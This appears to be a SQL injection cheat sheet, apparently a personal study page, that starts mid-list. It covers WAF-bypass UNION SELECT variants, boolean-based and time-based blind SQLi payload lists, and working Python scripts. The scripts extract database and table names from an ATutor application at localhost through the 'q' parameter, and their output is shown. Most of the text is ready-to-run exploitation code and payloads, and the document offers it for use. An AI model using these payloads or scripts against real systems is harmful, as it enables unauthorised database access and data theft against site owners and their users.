https://www.example.com/index.php?id=1 % point(29,9) Order by 10-- https://www.example.com/index.php?id=1 && point(29,9) Order by 10-- https://www.example.com/index.php?id=1 ||point(29,9) Order by 11--
- Traditional Way of using
NULL
UNION SELECT null, null, null, null
- The Alternative Way of using
NULL(WAF Bypass)
Union Select 0,0,0,0 Union Select false,false,false,false Union Select char(null),char(null),char(null),char(null) Union Select char(false),char(false),char(false),char(false) Union Select (0*1337-0),(0*1337-0),(0*1337-0),(0*1337-0) Union Select 34=35,34=35,34=35,34=35
/**/ /**_**/ %23nuLL%0A %23qa%0A%23%0A %23foo*%2F*bar%0D%0A + /*️*/ /*️⃣*/
- Identifying the vulnerability:
- My Opinion and experience (don't take it literally but I guess it's true (for me atleast)):
- Normally Boolean Based Blind SQLi can be detected by keeping an eye on
Content-Lengthheader when payload is introduced.- A drastic change in response length when some query returns true as compared to when something returns false is a 100% sure giveaway of a vulnerability.
- Payload
- True
AND 1=1 AND 1=1 AND 'a'='a'
- False
AND 1=1 and 'a'='b'
- Exploitation:
- Retrieving the length of database name
- Keep an eye on
Content-Length- Payload: to check if the database name is of length 15
and (length(database())) = 15 --
- Script:
import multiprocessing as mp import requests target = "http://localhost/atutor/mods/_standard/social/index_public.php" def db_length(number): payload = f"te')/**/or/**/(length(database()))={number}#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: print(number) if __name__ == "__main__": print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ') processes = [] for number in range(30): p = mp.Process(target=db_length, args=[number]) p.start() processes.append(p) for process in processes: process.join()
- Output:
python .\atutor_dblength.py [*] Retreiving Database Length: [*] Database length: 6
- Retrieving the database name
- We should use ASCII function coz most of the time single quotes or double quotes might cause errors or problems.
- Refer the following to see char to ascii conversion: https://www.rapidtables.com/code/text/ascii-table.html
- Payload
and (select ascii(substring(database(),1, 1)) = 110)#
- Script (Slow)
import requests def atutor_dbRetrieval(): target = "http://localhost/atutor/mods/_standard/social/index_public.php" i = 1 final_string = "" prev_length = -1 current_length = len(final_string) while prev_length < current_length: for j in range(32, 256): payload = f"te')/**/or/**/(select/**/ascii(substring(database(),{i},1))={j})#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: final_string += chr(j) current_length = len(final_string.strip()) print(final_string) break prev_length += 1 i += 1 return final_string if __name__ == "__main__": print("[+] Retrieving Database name: ....") print("[+] Database Version: ", atutor_dbRetrieval()) print("[+] Done")Output: python .\atutor_dbRetrieval.py [+] Retrieving Database name: .... a at atu atut atuto atutor [+] Database Version: atutor [+] Done
- Script (Multi-threaded and Multi-Processed)(Fast):
import requests import concurrent.futures target = "http://localhost/atutor/mods/_standard/social/index_public.php" final_string = {} def db_length(number): payload = f"te')/**/or/**/(length(database()))={number}#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: return number def atutor_dbRetrieval(l): for j in range(32, 256): payload = f"te')/**/or/**/(select/**/ascii(substring(database(),{l},1))={j})#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: final_string[l-1] = chr(j) print(''.join(final_string[i] for i in sorted(final_string.keys()))) if __name__ == "__main__": print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ') db_len = 0 with concurrent.futures.ProcessPoolExecutor() as executor: results = [executor.submit(db_length, _) for _ in range(30)] for f in concurrent.futures.as_completed(results): if f.result() != None: db_len = f.result() print(db_len) print("[+] Retrieving Database name: ....") with concurrent.futures.ThreadPoolExecutor() as executor: results = [executor.submit(atutor_dbRetrieval, index) for index in range(db_len+1)] print("[+] Database Name: ", end=" ") print(''.join(final_string[i] for i in sorted(final_string.keys()))) print("[+] Done")Output: python .\atutor_dbRetrieval-fast.py [*] Retreiving Database Length: [*] Database length: 6 [+] Retrieving Database name: .... a ao aor ator attor atutor [+] Database Name: atutor [+] Done
- Retrieving the length of table name:
- Payload:
' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 4 --+
- Script:
import multiprocessing as mp import requests target = "http://localhost/atutor/mods/_standard/social/index_public.php" def table_length(number): payload = f"te')/**/or/**/(length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))={number}#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: print(number) if __name__ == "__main__": print('[*] Retreiving Table Length! \n[*] Table length: ', end=' ') processes = [] for number in range(50): p = mp.Process(target=table_length, args=[number]) p.start() processes.append(p) for process in processes: process.join()Output: python .\atutor_tableLength.py [*] Retreiving Table Length! [*] Table length: 12
- Retrieving Table Name:
- Payload:
' AND (ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) = 108 --+
- Script:
import requests import concurrent.futures target = "http://localhost/atutor/mods/_standard/social/index_public.php" final_string = {} def table_length(number): payload = f"te')/**/or/**/(length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))={number}#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: return number def atutor_tableRetrieval(l): for j in range(32, 256): payload = f"te')/**/or/**/(select/**/ascii(substring((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{l},1))={j})#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: final_string[l-1] = chr(j) print(''.join(final_string[i] for i in sorted(final_string.keys()))) if __name__ == "__main__": print('[*] Retreiving Database Length! \n[*] Table length: ', end=' ') table_len = 0 with concurrent.futures.ProcessPoolExecutor() as executor: results = [executor.submit(table_length, _) for _ in range(50)] for f in concurrent.futures.as_completed(results): if f.result() != None: table_len = f.result() print(table_len) print("[+] Retrieving Table name!") with concurrent.futures.ThreadPoolExecutor() as executor: results = [executor.submit(atutor_tableRetrieval, index) for index in range(table_len+1)] print("[+] Table Name: ", end=" ") print(''.join(final_string[i] for i in sorted(final_string.keys()))) print("[+] Done")Output: python .\atutor_tableRetrieval.py [*] Retreiving Database Length! [*] Table length: 12 [+] Retrieving Table name! _ __ _a_ _ad_ a_ad_ a_adi_ a_adin_ a_adin_l a_adin_lo a_admin_lo at_admin_lo at_admin_log [+] Table Name: at_admin_log [+] Done
- It works the same way Boolean Based Blind SQLi works.
- We should use it where detecting the change in content length is almost impossible.
- It's just kind of an extension of boolean based sqli, so we can also use it where we could use boolean based payloads.
- Vulnerability Detection:
SELECT CASE WHEN (1=1) THEN pg_sleep(25) ELSE pg_sleep(0) END-- '; SELECT CASE WHEN (1=1) THEN pg_sleep(25) ELSE pg_sleep(0) END-- 'XOR(if(now()=sysdate(),sleep(5*5),0))OR' 1'=sleep(25)='1 '%2b(select*from(select(sleep(2)))a)%2b' WAITFOR DELAY '0:0:25';-- OR SLEEP(25) AND SLEEP(25) AND ('kleiton'='kleiton WAITFOR DELAY '0:0:25' and 'a'='a;-- IF 1=1 THEN dbms_lock.sleep(25); SLEEP(25) pg_sleep(25) and if(substring(user(),1,1)>=chr(97),SLEEP(25),1)-- DBMS_LOCK.SLEEP(25); AND if not(substring((select @version),25,1) < 52) waitfor delay '0:0:25'-- 1,'0');waitfor delay '0:0:25;-- (SELECT 1 FROM (SELECT SLEEP(25))A) %2b(select*from(select(sleep(25)))a)%2b' /**/xor/**/sleep(25) or (sleep(25)+1) limit 1 --
- For example:
http://localhost/atutor/mods/_standard/social/index_public.php?q=te%27XOR(if(now()=sysdate(),sleep(5*5),0))OR%27%23
- It'll take almost 25 seconds for the site to load, which means it's vulnerable to sqli.
- Retrieving the database length
- Payload:
'XOR(if(length(database())=1,sleep(5*5),0))OR'#
- Script:
import multiprocessing as mp import requests target = "http://localhost/atutor/mods/_standard/social/index_public.php" def db_length(number): payload = f"te'XOR(if(length(database())={number},sleep(3),0))OR'#" param = {'q': payload} r = requests.get(target, param) if r.elapsed.total_seconds() > 2: print(number) if __name__ == "__main__": print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ') processes = [] for number in range(30): p = mp.Process(target=db_length, args=[number]) p.start() processes.append(p) for process in processes: process.join()Output: python .\time-based\time-based-atutor-dblength.py [*] Retreiving Database Length: [*] Database length: 6
- Retrieving Database Name:
- Payload
'XOR(if((select/**/ascii(substring(database(),1,1)))=1,sleep(5*5),0))OR'#
- Script:
import requests import concurrent.futures target = "http://localhost/atutor/mods/_standard/social/index_public.php" final_string = {} def db_length(number): payload = f"te'XOR(if(length(database())={number},sleep(3),0))OR'#" param = {'q': payload} r = requests.get(target, param) if r.elapsed.total_seconds() > 2: return number def atutor_dbRetrieval(l): for j in range(32, 256): payload = f"te'XOR(if((select/**/ascii(substring(database(),{l},1)))={j},sleep(3),0))OR'#" param = {'q': payload} r = requests.get(target, param) if r.elapsed.total_seconds() > 2: final_string[l-1] = chr(j) print(''.join(final_string[i] for i in sorted(final_string.keys()))) if __name__ == "__main__": print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ') db_len = 0 with concurrent.futures.ProcessPoolExecutor() as executor: results = [executor.submit(db_length, _) for _ in range(30)] for f in concurrent.futures.as_completed(results): if f.result() != None: db_len = f.result() print(db_len) print("[+] Retrieving Database name: ....") with concurrent.futures.ThreadPoolExecutor() as executor: results = [executor.submit(atutor_dbRetrieval, index) for index in range(db_len+1)] print("[+] Database Name: ", end=" ") print(''.join(final_string[i] for i in sorted(final_string.keys()))) print("[+] Done")Output: python .\time-based\time-based-atutor-dbname.py [*] Retreiving Database Length: [*] Database length: 6 [+] Retrieving Database name: .... a ao aor ator atuor atutor [+] Database Name: atutor [+] Done
- Retrieving table length:
- Payload:
'XOR(if((length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))=12,sleep(5*5),0))OR'#
- Script
import multiprocessing as mp import requests target = "http://localhost/atutor/mods/_standard/social/index_public.php" def table_length(number): payload = f"te'XOR(if((length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))={number},sleep(3),0))OR'#" param = {'q': payload} r = requests.get(target, param) if r.elapsed.total_seconds() > 2: print(number) if __name__ == "__main__": print('[*] Retreiving Table Length! \n[*] Table length: ', end=' ') processes = [] for number in range(50): p = mp.Process(target=table_length, args=[number]) p.start() processes.append(p) for process in processes: process.join()Output: python .\time-based-atutor-tableLength.py [*] Retreiving Table Length! [*] Table length: 12
- Retrieving table name:
- Payload:
'XOR(if((select/**/ascii(substring((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{l},1)))={j},sleep(5),0))OR'#
- Script:
import requests import concurrent.futures target = "http://localhost/atutor/mods/_standard/social/index_public.php" final_string = {} def table_length(number): payload = f"te'XOR(if((length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))={number},sleep(3),0))OR'#" param = {'q': payload} r = requests.get(target, param) if r.elapsed.total_seconds() > 2: return number def atutor_tableRetrieval(l): for j in range(32, 256): payload = f"te'XOR(if((select/**/ascii(substring((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{l},1)))={j},sleep(5),0))OR'#" param = {'q': payload} r = requests.get(target, param) if r.elapsed.total_seconds() > 4: final_string[l-1] = chr(j) print(''.join(final_string[i] for i in sorted(final_string.keys()))) if __name__ == "__main__": print('[*] Retreiving Database Length! \n[*] Table length: ', end=' ') table_len = 0 with concurrent.futures.ProcessPoolExecutor() as executor: results = [executor.submit(table_length, _) for _ in range(50)] for f in concurrent.futures.as_completed(results): if f.result() != None: table_len = f.result() print(table_len) print("[+] Retrieving Table name!") with concurrent.futures.ThreadPoolExecutor() as executor: results = [executor.submit(atutor_tableRetrieval, index) for index in range(table_len+1)] print("[+] Table Name: ", end=" ") print(''.join(final_string[i] for i in sorted(final_string.keys()))) print("[+] Done")Output: python .\time-based-atutor-tablename.py [*] Retreiving Database Length! [*] Table length: 12 [+] Retrieving Table name! _ __ _a_ a_a_ a_ad_ a_adi_ a_adi_o a_adi_lo a_admi_lo a_admin_lo at_admin_lo at_admin_log [+] Table Name: at_admin_log [+] Done